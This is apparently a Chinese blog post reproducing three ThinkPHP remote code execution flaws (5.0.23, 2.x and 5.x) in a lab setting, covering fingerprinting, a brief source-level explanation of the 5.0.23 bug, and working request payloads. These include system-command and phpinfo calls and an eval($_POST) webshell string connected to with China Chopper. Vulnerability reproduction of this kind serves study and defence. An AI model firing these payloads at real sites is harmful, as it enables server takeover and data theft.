Thinkphp 5.0.23 rce

1.网页指纹识别

使用whatweb扫描结果

whatweb识别结果

网站使用的php版本是7.2.12,Apache2.4.25

Php漏洞

searchsploit扫描结果
searchsploit扫描结果
漏洞复现参考:https://www.uedbox.com/post/59402/

Apache漏洞

”Apache CVE-2017-7659“
漏洞复现参考:https://www.freebuf.com/vuls/139042.html

2.漏洞源码分析

源码
POC为:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls(此处可以执行任意代码)
_method变量同时在函数内没有做任何的过滤操作,因此我们可以通过更改和控制_method变量的值来调用Request类中的方法
绿色部分补丁:method进行多一轮的判断,判断其是否具有get,put,delete,patch,post等参数

漏洞复现

Thinkphp 2-rce

1.网页指纹识别


这一次whatweb比较给力,扫出了网站使用的是Thinkphp2.1版本

漏洞原理

1. 在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a

2. thinkphp 所有的主入口文件默认访问index控制器

3. thinkphp 所有的控制器默认执行index动作(方法)

4. http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

所以构造poc如下:/index.php?s=a/b/c/${phpinfo()}

在thinphp的类似于MVC的框架中,存在一个Dispatcher.class.php的文件,它规定了如何解析路由,在该文件中,存在一个函数为static public function dispatch(),此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。

类名为`Dispatcher`,class Dispatcher extends Think

里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo()  获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称

漏洞复现

POC:/index.php?s=/index/index/xxx/${@phpinfo()}

/index.php?s=a/b/c/${@print(eval($_POST[1]))}


连菜刀getshell

Thinkphp V5-rce

指纹识别

漏洞原理

程序未对控制器进行过滤,导致攻击者可以用 \(斜杠)调用任意类方法

漏洞复现

POC:s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
POC2:s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=(任意代码执行)

Phpinfo

posted on 2021-02-08 18:22  Stunmaker  阅读(316)  评论(0)    收藏  举报